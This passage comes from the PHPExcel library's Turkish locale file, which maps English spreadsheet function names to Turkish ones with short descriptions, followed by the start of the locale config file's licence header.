hesaplar. DCOUNTA = VSEÇSAYDOLU ## Veritabanındaki boş olmayan hücreleri sayar. DGET = VAL ## Veritabanından, belirtilen ölçütlerle eşleşen tek bir rapor çıkarır. DMAX = VSEÇMAK ## Seçili veritabanı girişlerinin en yüksek değerini verir. DMIN = VSEÇMİN ## Seçili veritabanı girişlerinin en düşük değerini verir. DPRODUCT = VSEÇÇARP ## Kayıtların belli bir alanında bulunan, bir veritabanındaki ölçütlerle eşleşen değerleri çarpar. DSTDEV = VSEÇSTDSAPMA ## Seçili veritabanı girişlerinden oluşan bir örneğe dayanarak, standart sapmayı tahmin eder. DSTDEVP = VSEÇSTDSAPMAS ## Standart sapmayı, seçili veritabanı girişlerinin tüm popülasyonunu esas alarak hesaplar. DSUM = VSEÇTOPLA ## Kayıtların alan sütununda bulunan, ölçütle eşleşen sayıları toplar. DVAR = VSEÇVAR ## Seçili veritabanı girişlerinden oluşan bir örneği esas alarak farkı tahmin eder. DVARP = VSEÇVARS ## Seçili veritabanı girişlerinin tüm popülasyonunu esas alarak farkı hesaplar. ## ## Date and time functions Tarih ve saat işlevleri ## DATE = TARİH ## Belirli bir tarihin seri numarasını verir. DATEVALUE = TARİHSAYISI ## Metin biçimindeki bir tarihi seri numarasına dönüştürür. DAY = GÜN ## Seri numarasını, ayın bir gününe dönüştürür. DAYS360 = GÜN360 ## İki tarih arasındaki gün sayısını, 360 günlük yılı esas alarak hesaplar. EDATE = SERİTARİH ## Başlangıç tarihinden itibaren, belirtilen ay sayısından önce veya sonraki tarihin seri numarasını verir. EOMONTH = SERİAY ## Belirtilen sayıda ay önce veya sonraki ayın son gününün seri numarasını verir. HOUR = SAAT ## Bir seri numarasını saate dönüştürür. MINUTE = DAKİKA ## Bir seri numarasını dakikaya dönüştürür. MONTH = AY ## Bir seri numarasını aya dönüştürür. NETWORKDAYS = TAMİŞGÜNÜ ## İki tarih arasındaki tam çalışma günlerinin sayısını verir. NOW = ŞİMDİ ## Geçerli tarihin ve saatin seri numarasını verir. SECOND = SANİYE ## Bir seri numarasını saniyeye dönüştürür. TIME = ZAMAN ## Belirli bir zamanın seri numarasını verir. TIMEVALUE = ZAMANSAYISI ## Metin biçimindeki zamanı seri numarasına dönüştürür. TODAY = BUGÜN ## Bugünün tarihini seri numarasına dönüştürür. WEEKDAY = HAFTANINGÜNÜ ## Bir seri numarasını, haftanın gününe dönüştürür. WEEKNUM = HAFTASAY ## Dizisel değerini, haftanın yıl içinde bulunduğu konumu sayısal olarak gösteren sayıya dönüştürür. WORKDAY = İŞGÜNÜ ## Belirtilen sayıda çalışma günü öncesinin ya da sonrasının tarihinin seri numarasını verir. YEAR = YIL ## Bir seri numarasını yıla dönüştürür. YEARFRAC = YILORAN ## Başlangıç_tarihi ve bitiş_tarihi arasındaki tam günleri gösteren yıl kesrini verir. ## ## Engineering functions Mühendislik işlevleri ## BESSELI = BESSELI ## Değiştirilmiş Bessel fonksiyonu In(x)'i verir. BESSELJ = BESSELJ ## Bessel fonksiyonu Jn(x)'i verir. BESSELK = BESSELK ## Değiştirilmiş Bessel fonksiyonu Kn(x)'i verir. BESSELY = BESSELY ## Bessel fonksiyonu Yn(x)'i verir. BIN2DEC = BIN2DEC ## İkili bir sayıyı, ondalık sayıya dönüştürür. BIN2HEX = BIN2HEX ## İkili bir sayıyı, onaltılıya dönüştürür. BIN2OCT = BIN2OCT ## İkili bir sayıyı, sekizliye dönüştürür. COMPLEX = KARMAŞIK ## Gerçek ve sanal katsayıları, karmaşık sayıya dönüştürür. CONVERT = ÇEVİR ## Bir sayıyı, bir ölçüm sisteminden bir başka ölçüm sistemine dönüştürür. DEC2BIN = DEC2BIN ## Ondalık bir sayıyı, ikiliye dönüştürür. DEC2HEX = DEC2HEX ## Ondalık bir sayıyı, onaltılıya dönüştürür. DEC2OCT = DEC2OCT ## Ondalık bir sayıyı sekizliğe dönüştürür. DELTA = DELTA ## İki değerin eşit olup olmadığını sınar. ERF = HATAİŞLEV ## Hata işlevini verir. ERFC = TÜMHATAİŞLEV ## Tümleyici hata işlevini verir. GESTEP = BESINIR ## Bir sayının eşik değerinden büyük olup olmadığını sınar. HEX2BIN = HEX2BIN ## Onaltılı bir sayıyı ikiliye dönüştürür. HEX2DEC = HEX2DEC ## Onaltılı bir sayıyı ondalığa dönüştürür. HEX2OCT = HEX2OCT ## Onaltılı bir sayıyı sekizliğe dönüştürür. IMABS = SANMUTLAK ## Karmaşık bir sayının mutlak değerini (modül) verir. IMAGINARY = SANAL ## Karmaşık bir sayının sanal katsayısını verir. IMARGUMENT = SANBAĞ_DEĞİŞKEN ## Radyanlarla belirtilen bir açı olan teta bağımsız değişkenini verir. IMCONJUGATE = SANEŞLENEK ## Karmaşık bir sayının karmaşık eşleniğini verir. IMCOS = SANCOS ## Karmaşık bir sayının kosinüsünü verir. IMDIV = SANBÖL ## İki karmaşık sayının bölümünü verir. IMEXP = SANÜS ## Karmaşık bir sayının üssünü verir. IMLN = SANLN ## Karmaşık bir sayının doğal logaritmasını verir. IMLOG10 = SANLOG10 ## Karmaşık bir sayının, 10 tabanında logaritmasını verir. IMLOG2 = SANLOG2 ## Karmaşık bir sayının 2 tabanında logaritmasını verir. IMPOWER = SANÜSSÜ ## Karmaşık bir sayıyı, bir tamsayı üssüne yükseltilmiş olarak verir. IMPRODUCT = SANÇARP ## Karmaşık sayıların çarpımını verir. IMREAL = SANGERÇEK ## Karmaşık bir sayının, gerçek katsayısını verir. IMSIN = SANSIN ## Karmaşık bir sayının sinüsünü verir. IMSQRT = SANKAREKÖK ## Karmaşık bir sayının karekökünü verir. IMSUB = SANÇIKAR ## İki karmaşık sayının farkını verir. IMSUM = SANTOPLA ## Karmaşık sayıların toplamını verir. OCT2BIN = OCT2BIN ## Sekizli bir sayıyı ikiliye dönüştürür. OCT2DEC = OCT2DEC ## Sekizli bir sayıyı ondalığa dönüştürür. OCT2HEX = OCT2HEX ## Sekizli bir sayıyı onaltılıya dönüştürür. ## ## Financial functions Finansal fonksiyonlar ## ACCRINT = GERÇEKFAİZ ## Dönemsel faiz ödeyen hisse senedine ilişkin tahakkuk eden faizi getirir. ACCRINTM = GERÇEKFAİZV ## Vadesinde ödeme yapan bir tahvilin tahakkuk etmiş faizini verir. AMORDEGRC = AMORDEGRC ## Yıpranma katsayısı kullanarak her hesap döneminin değer kaybını verir. AMORLINC = AMORLINC ## Her hesap dönemi içindeki yıpranmayı verir. COUPDAYBS = KUPONGÜNBD ## Kupon süresinin başlangıcından alış tarihine kadar olan süredeki gün sayısını verir. COUPDAYS = KUPONGÜN ## Kupon süresindeki, gün sayısını, alış tarihini de içermek üzere, verir. COUPDAYSNC = KUPONGÜNDSK ## Alış tarihinden bir sonraki kupon tarihine kadar olan gün sayısını verir. COUPNCD = KUPONGÜNSKT ## Alış tarihinden bir sonraki kupon tarihini verir. COUPNUM = KUPONSAYI ## Alış tarihiyle vade tarihi arasında ödenecek kuponların sayısını verir. COUPPCD = KUPONGÜNÖKT ## Alış tarihinden bir önceki kupon tarihini verir. CUMIPMT = AİÇVERİMORANI ## İki dönem arasında ödenen kümülatif faizi verir. CUMPRINC = ANA_PARA_ÖDEMESİ ## İki dönem arasında bir borç üzerine ödenen birikimli temeli verir. DB = AZALANBAKİYE ## Bir malın belirtilen bir süre içindeki yıpranmasını, sabit azalan bakiye yöntemini kullanarak verir. DDB = ÇİFTAZALANBAKİYE ## Bir malın belirtilen bir süre içindeki yıpranmasını, çift azalan bakiye yöntemi ya da sizin belirttiğiniz başka bir yöntemi kullanarak verir. DISC = İNDİRİM ## Bir tahvilin indirim oranını verir. DOLLARDE = LİRAON ## Kesir olarak tanımlanmış lira fiyatını, ondalık sayı olarak tanımlanmış lira fiyatına dönüştürür. DOLLARFR = LİRAKES ## Ondalık sayı olarak tanımlanmış lira fiyatını, kesir olarak tanımlanmış lira fiyatına dönüştürür. DURATION = SÜRE ## Belli aralıklarla faiz ödemesi yapan bir tahvilin yıllık süresini verir. EFFECT = ETKİN ## Efektif yıllık faiz oranını verir. FV = ANBD ## Bir yatırımın gelecekteki değerini verir. FVSCHEDULE = GDPROGRAM ## Bir seri birleşik faiz oranı uyguladıktan sonra, bir başlangıçtaki anaparanın gelecekteki değerini verir. INTRATE = FAİZORANI ## Tam olarak yatırım yapılmış bir tahvilin faiz oranını verir. IPMT = FAİZTUTARI ## Bir yatırımın verilen bir süre için faiz ödemesini verir. IRR = İÇ_VERİM_ORANI ## Bir para akışı serisi için, iç verim oranını verir. ISPMT = ISPMT ## Yatırımın belirli bir dönemi boyunca ödenen faizi hesaplar. MDURATION = MSÜRE ## Varsayılan par değeri 10.000.000 lira olan bir tahvil için Macauley değiştirilmiş süreyi verir. MIRR = D_İÇ_VERİM_ORANI ## Pozitif ve negatif para akışlarının farklı oranlarda finanse edildiği durumlarda, iç verim oranını verir. NOMINAL = NOMİNAL ## Yıllık nominal faiz oranını verir. NPER = DÖNEM_SAYISI ## Bir yatırımın dönem sayısını verir. NPV = NBD ## Bir yatırımın bugünkü net değerini, bir dönemsel para akışları serisine ve bir indirim oranına bağlı olarak verir. ODDFPRICE = TEKYDEĞER ## Tek bir ilk dönemi olan bir tahvilin değerini, her 100.000.000 lirada bir verir. ODDFYIELD = TEKYÖDEME ## Tek bir ilk dönemi olan bir tahvilin ödemesini verir. ODDLPRICE = TEKSDEĞER ## Tek bir son dönemi olan bir tahvilin fiyatını her 10.000.000 lirada bir verir. ODDLYIELD = TEKSÖDEME ## Tek bir son dönemi olan bir tahvilin ödemesini verir. PMT = DEVRESEL_ÖDEME ## Bir yıllık dönemsel ödemeyi verir. PPMT = ANA_PARA_ÖDEMESİ ## Verilen bir süre için, bir yatırımın anaparasına dayanan ödemeyi verir. PRICE = DEĞER ## Dönemsel faiz ödeyen bir tahvilin fiyatını 10.000.00 liralık değer başına verir. PRICEDISC = DEĞERİND ## İndirimli bir tahvilin fiyatını 10.000.000 liralık nominal değer başına verir. PRICEMAT = DEĞERVADE ## Faizini vade sonunda ödeyen bir tahvilin fiyatını 10.000.000 nominal değer başına verir. PV = BD ## Bir yatırımın bugünkü değerini verir. RATE = FAİZ_ORANI ## Bir yıllık dönem başına düşen faiz oranını verir. RECEIVED = GETİRİ ## Tam olarak yatırılmış bir tahvilin vadesinin bitiminde alınan miktarı verir. SLN = DA ## Bir malın bir dönem içindeki doğrusal yıpranmasını verir. SYD = YAT ## Bir malın belirli bir dönem için olan amortismanını verir. TBILLEQ = HTAHEŞ ## Bir Hazine bonosunun bono eşdeğeri ödemesini verir. TBILLPRICE = HTAHDEĞER ## Bir Hazine bonosunun değerini, 10.000.000 liralık nominal değer başına verir. TBILLYIELD = HTAHÖDEME ## Bir Hazine bonosunun ödemesini verir. VDB = DAB ## Bir malın amortismanını, belirlenmiş ya da kısmi bir dönem için, bir azalan bakiye yöntemi kullanarak verir. XIRR = AİÇVERİMORANI ## Dönemsel olması gerekmeyen bir para akışları programı için, iç verim oranını verir. XNPV = ANBD ## Dönemsel olması gerekmeyen bir para akışları programı için, bugünkü net değeri verir. YIELD = ÖDEME ## Belirli aralıklarla faiz ödeyen bir tahvilin ödemesini verir. YIELDDISC = ÖDEMEİND ## İndirimli bir tahvilin yıllık ödemesini verir; örneğin, bir Hazine bonosunun. YIELDMAT = ÖDEMEVADE ## Vadesinin bitiminde faiz ödeyen bir tahvilin yıllık ödemesini verir. ## ## Information functions Bilgi fonksiyonları ## CELL = HÜCRE ## Bir hücrenin biçimlendirmesi, konumu ya da içeriği hakkında bilgi verir. ERROR.TYPE = HATA.TİPİ ## Bir hata türüne ilişkin sayıları verir. INFO = BİLGİ ## Geçerli işletim ortamı hakkında bilgi verir. ISBLANK = EBOŞSA ## Değer boşsa, DOĞRU verir. ISERR = EHATA ## Değer, #YOK dışındaki bir hata değeriyse, DOĞRU verir. ISERROR = EHATALIYSA ## Değer, herhangi bir hata değeriyse, DOĞRU verir. ISEVEN = ÇİFTTİR ## Sayı çiftse, DOĞRU verir. ISLOGICAL = EMANTIKSALSA ## Değer, mantıksal bir değerse, DOĞRU verir. ISNA = EYOKSA ## Değer, #YOK hata değeriyse, DOĞRU verir. ISNONTEXT = EMETİNDEĞİLSE ## Değer, metin değilse, DOĞRU verir. ISNUMBER = ESAYIYSA ## Değer, bir sayıysa, DOĞRU verir. ISODD = TEKTİR ## Sayı tekse, DOĞRU verir. ISREF = EREFSE ## Değer bir başvuruysa, DOĞRU verir. ISTEXT = EMETİNSE ## Değer bir metinse DOĞRU verir. N = N ## Sayıya dönüştürülmüş bir değer verir. NA = YOKSAY ## #YOK hata değerini verir. TYPE = TİP ## Bir değerin veri türünü belirten bir sayı verir. ## ## Logical functions Mantıksal fonksiyonlar ## AND = VE ## Bütün bağımsız değişkenleri DOĞRU ise, DOĞRU verir. FALSE = YANLIŞ ## YANLIŞ mantıksal değerini verir. IF = EĞER ## Gerçekleştirilecek bir mantıksal sınama belirtir. IFERROR = EĞERHATA ## Formül hatalıysa belirttiğiniz değeri verir; bunun dışındaki durumlarda formülün sonucunu verir. NOT = DEĞİL ## Bağımsız değişkeninin mantığını tersine çevirir. OR = YADA ## Bağımsız değişkenlerden herhangi birisi DOĞRU ise, DOĞRU verir. TRUE = DOĞRU ## DOĞRU mantıksal değerini verir. ## ## Lookup and reference functions Arama ve Başvuru fonksiyonları ## ADDRESS = ADRES ## Bir başvuruyu, çalışma sayfasındaki tek bir hücreye metin olarak verir. AREAS = ALANSAY ## Renvoie le nombre de zones dans une référence. CHOOSE = ELEMAN ## Değerler listesinden bir değer seçer. COLUMN = SÜTUN ## Bir başvurunun sütun sayısını verir. COLUMNS = SÜTUNSAY ## Bir başvurudaki sütunların sayısını verir. HLOOKUP = YATAYARA ## Bir dizinin en üst satırına bakar ve belirtilen hücrenin değerini verir. HYPERLINK = KÖPRÜ ## Bir ağ sunucusunda, bir intranette ya da Internet'te depolanan bir belgeyi açan bir kısayol ya da atlama oluşturur. INDEX = İNDİS ## Başvurudan veya diziden bir değer seçmek için, bir dizin kullanır. INDIRECT = DOLAYLI ## Metin değeriyle belirtilen bir başvuru verir. LOOKUP = ARA ## Bir vektördeki veya dizideki değerleri arar. MATCH = KAÇINCI ## Bir başvurudaki veya dizideki değerleri arar. OFFSET = KAYDIR ## Verilen bir başvurudan, bir başvuru kaydırmayı verir. ROW = SATIR ## Bir başvurunun satır sayısını verir. ROWS = SATIRSAY ## Bir başvurudaki satırların sayısını verir. RTD = RTD ## COM otomasyonunu destekleyen programdan gerçek zaman verileri alır. TRANSPOSE = DEVRİK_DÖNÜŞÜM ## Bir dizinin devrik dönüşümünü verir. VLOOKUP = DÜŞEYARA ## Bir dizinin ilk sütununa bakar ve bir hücrenin değerini vermek için satır boyunca hareket eder. ## ## Math and trigonometry functions Matematik ve trigonometri fonksiyonları ## ABS = MUTLAK ## Bir sayının mutlak değerini verir. ACOS = ACOS ## Bir sayının ark kosinüsünü verir. ACOSH = ACOSH ## Bir sayının ters hiperbolik kosinüsünü verir. ASIN = ASİN ## Bir sayının ark sinüsünü verir. ASINH = ASİNH ## Bir sayının ters hiperbolik sinüsünü verir. ATAN = ATAN ## Bir sayının ark tanjantını verir. ATAN2 = ATAN2 ## Ark tanjantı, x- ve y- koordinatlarından verir. ATANH = ATANH ## Bir sayının ters hiperbolik tanjantını verir. CEILING = TAVANAYUVARLA ## Bir sayıyı, en yakın tamsayıya ya da en yakın katına yuvarlar. COMBIN = KOMBİNASYON ## Verilen sayıda öğenin kombinasyon sayısını verir. COS = COS ## Bir sayının kosinüsünü verir. COSH = COSH ## Bir sayının hiperbolik kosinüsünü verir. DEGREES = DERECE ## Radyanları dereceye dönüştürür. EVEN = ÇİFT ## Bir sayıyı, en yakın daha büyük çift tamsayıya yuvarlar. EXP = ÜS ## e'yi, verilen bir sayının üssüne yükseltilmiş olarak verir. FACT = ÇARPINIM ## Bir sayının faktörünü verir. FACTDOUBLE = ÇİFTFAKTÖR ## Bir sayının çift çarpınımını verir. FLOOR = TABANAYUVARLA ## Bir sayıyı, daha küçük sayıya, sıfıra yakınsayarak yuvarlar. GCD = OBEB ## En büyük ortak böleni verir. INT = TAMSAYI ## Bir sayıyı aşağıya doğru en yakın tamsayıya yuvarlar. LCM = OKEK ## En küçük ortak katı verir. LN = LN ## Bir sayının doğal logaritmasını verir. LOG = LOG ## Bir sayının, belirtilen bir tabandaki logaritmasını verir. LOG10 = LOG10 ## Bir sayının 10 tabanında logaritmasını verir. MDETERM = DETERMİNANT ## Bir dizinin dizey determinantını verir. MINVERSE = DİZEY_TERS ## Bir dizinin dizey tersini verir. MMULT = DÇARP ## İki dizinin dizey çarpımını verir. MOD = MODÜLO ## Bölmeden kalanı verir. MROUND = KYUVARLA ## İstenen kata yuvarlanmış bir sayı verir. MULTINOMIAL = ÇOKTERİMLİ ## Bir sayılar kümesinin çok terimlisini verir. ODD = TEK ## Bir sayıyı en yakın daha büyük tek sayıya yuvarlar. PI = Pİ ## Pi değerini verir. POWER = KUVVET ## Bir üsse yükseltilmiş sayının sonucunu verir. PRODUCT = ÇARPIM ## Bağımsız değişkenlerini çarpar. QUOTIENT = BÖLÜM ## Bir bölme işleminin tamsayı kısmını verir. RADIANS = RADYAN ## Dereceleri radyanlara dönüştürür. RAND = S_SAYI_ÜRET ## 0 ile 1 arasında rastgele bir sayı verir. RANDBETWEEN = RASTGELEARALIK ## Belirttiğiniz sayılar arasında rastgele bir sayı verir. ROMAN = ROMEN ## Bir normal rakamı, metin olarak, romen rakamına çevirir. ROUND = YUVARLA ## Bir sayıyı, belirtilen basamak sayısına yuvarlar. ROUNDDOWN = AŞAĞIYUVARLA ## Bir sayıyı, daha küçük sayıya, sıfıra yakınsayarak yuvarlar. ROUNDUP = YUKARIYUVARLA ## Bir sayıyı daha büyük sayıya, sıfırdan ıraksayarak yuvarlar. SERIESSUM = SERİTOPLA ## Bir üs serisinin toplamını, formüle bağlı olarak verir. SIGN = İŞARET ## Bir sayının işaretini verir. SIN = SİN ## Verilen bir açının sinüsünü verir. SINH = SİNH ## Bir sayının hiperbolik sinüsünü verir. SQRT = KAREKÖK ## Pozitif bir karekök verir. SQRTPI = KAREKÖKPİ ## (* Pi sayısının) kare kökünü verir. SUBTOTAL = ALTTOPLAM ## Bir listedeki ya da veritabanındaki bir alt toplamı verir. SUM = TOPLA ## Bağımsız değişkenlerini toplar. SUMIF = ETOPLA ## Verilen ölçütle belirlenen hücreleri toplar. SUMIFS = SUMIFS ## Bir aralıktaki, birden fazla ölçüte uyan hücreleri ekler. SUMPRODUCT = TOPLA.ÇARPIM ## İlişkili dizi bileşenlerinin çarpımlarının toplamını verir. SUMSQ = TOPKARE ## Bağımsız değişkenlerin karelerinin toplamını verir. SUMX2MY2 = TOPX2EY2 ## İki dizideki ilişkili değerlerin farkının toplamını verir. SUMX2PY2 = TOPX2AY2 ## İki dizideki ilişkili değerlerin karelerinin toplamının toplamını verir. SUMXMY2 = TOPXEY2 ## İki dizideki ilişkili değerlerin farklarının karelerinin toplamını verir. TAN = TAN ## Bir sayının tanjantını verir. TANH = TANH ## Bir sayının hiperbolik tanjantını verir. TRUNC = NSAT ## Bir sayının, tamsayı durumuna gelecek şekilde, fazlalıklarını atar. ## ## Statistical functions İstatistiksel fonksiyonlar ## AVEDEV = ORTSAP ## Veri noktalarının ortalamalarından mutlak sapmalarının ortalamasını verir. AVERAGE = ORTALAMA ## Bağımsız değişkenlerinin ortalamasını verir. AVERAGEA = ORTALAMAA ## Bağımsız değişkenlerinin, sayılar, metin ve mantıksal değerleri içermek üzere ortalamasını verir. AVERAGEIF = EĞERORTALAMA ## Verili ölçütü karşılayan bir aralıktaki bütün hücrelerin ortalamasını (aritmetik ortalama) hesaplar. AVERAGEIFS = EĞERLERORTALAMA ## Birden çok ölçüte uyan tüm hücrelerin ortalamasını (aritmetik ortalama) hesaplar. BETADIST = BETADAĞ ## Beta birikimli dağılım fonksiyonunu verir. BETAINV = BETATERS ## Belirli bir beta dağılımı için birikimli dağılım fonksiyonunun tersini verir. BINOMDIST = BİNOMDAĞ ## Tek terimli binom dağılımı olasılığını verir. CHIDIST = KİKAREDAĞ ## Kikare dağılımın tek kuyruklu olasılığını verir. CHIINV = KİKARETERS ## Kikare dağılımın kuyruklu olasılığının tersini verir. CHITEST = KİKARETEST ## Bağımsızlık sınamalarını verir. CONFIDENCE = GÜVENİRLİK ## Bir popülasyon ortalaması için güvenirlik aralığını verir. CORREL = KORELASYON ## İki veri kümesi arasındaki bağlantı katsayısını verir. COUNT = BAĞ_DEĞ_SAY ## Bağımsız değişkenler listesinde kaç tane sayı bulunduğunu sayar. COUNTA = BAĞ_DEĞ_DOLU_SAY ## Bağımsız değişkenler listesinde kaç tane değer bulunduğunu sayar. COUNTBLANK = BOŞLUKSAY ## Aralıktaki boş hücre sayısını hesaplar. COUNTIF = EĞERSAY ## Verilen ölçütlere uyan bir aralık içindeki hücreleri sayar. COUNTIFS = ÇOKEĞERSAY ## Birden çok ölçüte uyan bir aralık içindeki hücreleri sayar. COVAR = KOVARYANS ## Eşleştirilmiş sapmaların ortalaması olan kovaryansı verir. CRITBINOM = KRİTİKBİNOM ## Birikimli binom dağılımının bir ölçüt değerinden küçük veya ölçüt değerine eşit olduğu en küçük değeri verir. DEVSQ = SAPKARE ## Sapmaların karelerinin toplamını verir. EXPONDIST = ÜSTELDAĞ ## Üstel dağılımı verir. FDIST = FDAĞ ## F olasılık dağılımını verir. FINV = FTERS ## F olasılık dağılımının tersini verir. FISHER = FISHER ## Fisher dönüşümünü verir. FISHERINV = FISHERTERS ## Fisher dönüşümünün tersini verir. FORECAST = TAHMİN ## Bir doğrusal eğilim boyunca bir değer verir. FREQUENCY = SIKLIK ## Bir sıklık dağılımını, dikey bir dizi olarak verir. FTEST = FTEST ## Bir F-test'in sonucunu verir. GAMMADIST = GAMADAĞ ## Gama dağılımını verir. GAMMAINV = GAMATERS ## Gama kümülatif dağılımının tersini verir. GAMMALN = GAMALN ## Gama fonksiyonunun (?(x)) doğal logaritmasını verir. GEOMEAN = GEOORT ## Geometrik ortayı verir. GROWTH = BÜYÜME ## Üstel bir eğilim boyunca değerler verir. HARMEAN = HARORT ## Harmonik ortayı verir. HYPGEOMDIST = HİPERGEOMDAĞ ## Hipergeometrik dağılımı verir. INTERCEPT = KESMENOKTASI ## Doğrusal çakıştırma çizgisinin kesişme noktasını verir. KURT = BASIKLIK ## Bir veri kümesinin basıklığını verir. LARGE = BÜYÜK ## Bir veri kümesinde k. en büyük değeri verir. LINEST = DOT ## Doğrusal bir eğilimin parametrelerini verir. LOGEST = LOT ## Üstel bir eğilimin parametrelerini verir. LOGINV = LOGTERS ## Bir lognormal dağılımının tersini verir. LOGNORMDIST = LOGNORMDAĞ ## Birikimli lognormal dağılımını verir. MAX = MAK ## Bir bağımsız değişkenler listesindeki en büyük değeri verir. MAXA = MAKA ## Bir bağımsız değişkenler listesindeki, sayılar, metin ve mantıksal değerleri içermek üzere, en büyük değeri verir. MEDIAN = ORTANCA ## Belirtilen sayıların orta değerini verir. MIN = MİN ## Bir bağımsız değişkenler listesindeki en küçük değeri verir. MINA = MİNA ## Bir bağımsız değişkenler listesindeki, sayılar, metin ve mantıksal değerleri de içermek üzere, en küçük değeri verir. MODE = ENÇOK_OLAN ## Bir veri kümesindeki en sık rastlanan değeri verir. NEGBINOMDIST = NEGBİNOMDAĞ ## Negatif binom dağılımını verir. NORMDIST = NORMDAĞ ## Normal birikimli dağılımı verir. NORMINV = NORMTERS ## Normal kümülatif dağılımın tersini verir. NORMSDIST = NORMSDAĞ ## Standart normal birikimli dağılımı verir. NORMSINV = NORMSTERS ## Standart normal birikimli dağılımın tersini verir. PEARSON = PEARSON ## Pearson çarpım moment korelasyon katsayısını verir. PERCENTILE = YÜZDEBİRLİK ## Bir aralık içerisinde bulunan değerlerin k. frekans toplamını verir. PERCENTRANK = YÜZDERANK ## Bir veri kümesindeki bir değerin yüzde mertebesini verir. PERMUT = PERMÜTASYON ## Verilen sayıda nesne için permütasyon sayısını verir. POISSON = POISSON ## Poisson dağılımını verir. PROB = OLASILIK ## Bir aralıktaki değerlerin iki sınır arasında olması olasılığını verir. QUARTILE = DÖRTTEBİRLİK ## Bir veri kümesinin dörtte birliğini verir. RANK = RANK ## Bir sayılar listesinde bir sayının mertebesini verir. RSQ = RKARE ## Pearson çarpım moment korelasyon katsayısının karesini verir. SKEW = ÇARPIKLIK ## Bir dağılımın çarpıklığını verir. SLOPE = EĞİM ## Doğrusal çakışma çizgisinin eğimini verir. SMALL = KÜÇÜK ## Bir veri kümesinde k. en küçük değeri verir. STANDARDIZE = STANDARTLAŞTIRMA ## Normalleştirilmiş bir değer verir. STDEV = STDSAPMA ## Bir örneğe dayanarak standart sapmayı tahmin eder. STDEVA = STDSAPMAA ## Standart sapmayı, sayılar, metin ve mantıksal değerleri içermek üzere, bir örneğe bağlı olarak tahmin eder. STDEVP = STDSAPMAS ## Standart sapmayı, tüm popülasyona bağlı olarak hesaplar. STDEVPA = STDSAPMASA ## Standart sapmayı, sayılar, metin ve mantıksal değerleri içermek üzere, tüm popülasyona bağlı olarak hesaplar. STEYX = STHYX ## Regresyondaki her x için tahmini y değerinin standart hatasını verir. TDIST = TDAĞ ## T-dağılımını verir. TINV = TTERS ## T-dağılımının tersini verir. TREND = EĞİLİM ## Doğrusal bir eğilim boyunca değerler verir. TRIMMEAN = KIRPORTALAMA ## Bir veri kümesinin içinin ortalamasını verir. TTEST = TTEST ## T-test'le ilişkilendirilmiş olasılığı verir. VAR = VAR ## Varyansı, bir örneğe bağlı olarak tahmin eder. VARA = VARA ## Varyansı, sayılar, metin ve mantıksal değerleri içermek üzere, bir örneğe bağlı olarak tahmin eder. VARP = VARS ## Varyansı, tüm popülasyona dayanarak hesaplar. VARPA = VARSA ## Varyansı, sayılar, metin ve mantıksal değerleri içermek üzere, tüm popülasyona bağlı olarak hesaplar. WEIBULL = WEIBULL ## Weibull dağılımını hesaplar. ZTEST = ZTEST ## Z-testinin tek kuyruklu olasılık değerini hesaplar. ## ## Text functions Metin fonksiyonları ## ASC = ASC ## Bir karakter dizesindeki çift enli (iki bayt) İngilizce harfleri veya katakanayı yarım enli (tek bayt) karakterlerle değiştirir. BAHTTEXT = BAHTTEXT ## Sayıyı, ß (baht) para birimi biçimini kullanarak metne dönüştürür. CHAR = DAMGA ## Kod sayısıyla belirtilen karakteri verir. CLEAN = TEMİZ ## Metindeki bütün yazdırılamaz karakterleri kaldırır. CODE = KOD ## Bir metin dizesindeki ilk karakter için sayısal bir kod verir. CONCATENATE = BİRLEŞTİR ## Pek çok metin öğesini bir metin öğesi olarak birleştirir. DOLLAR = LİRA ## Bir sayıyı YTL (yeni Türk lirası) para birimi biçimini kullanarak metne dönüştürür. EXACT = ÖZDEŞ ## İki metin değerinin özdeş olup olmadığını anlamak için, değerleri denetler. FIND = BUL ## Bir metin değerini, bir başkasının içinde bulur (büyük küçük harf duyarlıdır). FINDB = BULB ## Bir metin değerini, bir başkasının içinde bulur (büyük küçük harf duyarlıdır). FIXED = SAYIDÜZENLE ## Bir sayıyı, sabit sayıda ondalıkla, metin olarak biçimlendirir. JIS = JIS ## Bir karakter dizesindeki tek enli (tek bayt) İngilizce harfleri veya katakanayı çift enli (iki bayt) karakterlerle değiştirir. LEFT = SOL ## Bir metin değerinden en soldaki karakterleri verir. LEFTB = SOLB ## Bir metin değerinden en soldaki karakterleri verir. LEN = UZUNLUK ## Bir metin dizesindeki karakter sayısını verir. LENB = UZUNLUKB ## Bir metin dizesindeki karakter sayısını verir. LOWER = KÜÇÜKHARF ## Metni küçük harfe çevirir. MID = ORTA ## Bir metin dizesinden belirli sayıda karakteri, belirttiğiniz konumdan başlamak üzere verir. MIDB = ORTAB ## Bir metin dizesinden belirli sayıda karakteri, belirttiğiniz konumdan başlamak üzere verir. PHONETIC = SES ## Metin dizesinden ses (furigana) karakterlerini ayıklar. PROPER = YAZIM.DÜZENİ ## Bir metin değerinin her bir sözcüğünün ilk harfini büyük harfe çevirir. REPLACE = DEĞİŞTİR ## Metnin içindeki karakterleri değiştirir. REPLACEB = DEĞİŞTİRB ## Metnin içindeki karakterleri değiştirir. REPT = YİNELE ## Metni belirtilen sayıda yineler. RIGHT = SAĞ ## Bir metin değerinden en sağdaki karakterleri verir. RIGHTB = SAĞB ## Bir metin değerinden en sağdaki karakterleri verir. SEARCH = BUL ## Bir metin değerini, bir başkasının içinde bulur (büyük küçük harf duyarlı değildir). SEARCHB = BULB ## Bir metin değerini, bir başkasının içinde bulur (büyük küçük harf duyarlı değildir). SUBSTITUTE = YERİNEKOY ## Bir metin dizesinde, eski metnin yerine yeni metin koyar. T = M ## Bağımsız değerlerini metne dönüştürür. TEXT = METNEÇEVİR ## Bir sayıyı biçimlendirir ve metne dönüştürür. TRIM = KIRP ## Metindeki boşlukları kaldırır. UPPER = BÜYÜKHARF ## Metni büyük harfe çevirir. VALUE = SAYIYAÇEVİR ## Bir metin bağımsız değişkenini sayıya dönüştürür. PHPExcel/locale/tr/config 0000644 00000002456 14642534110 0011237 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 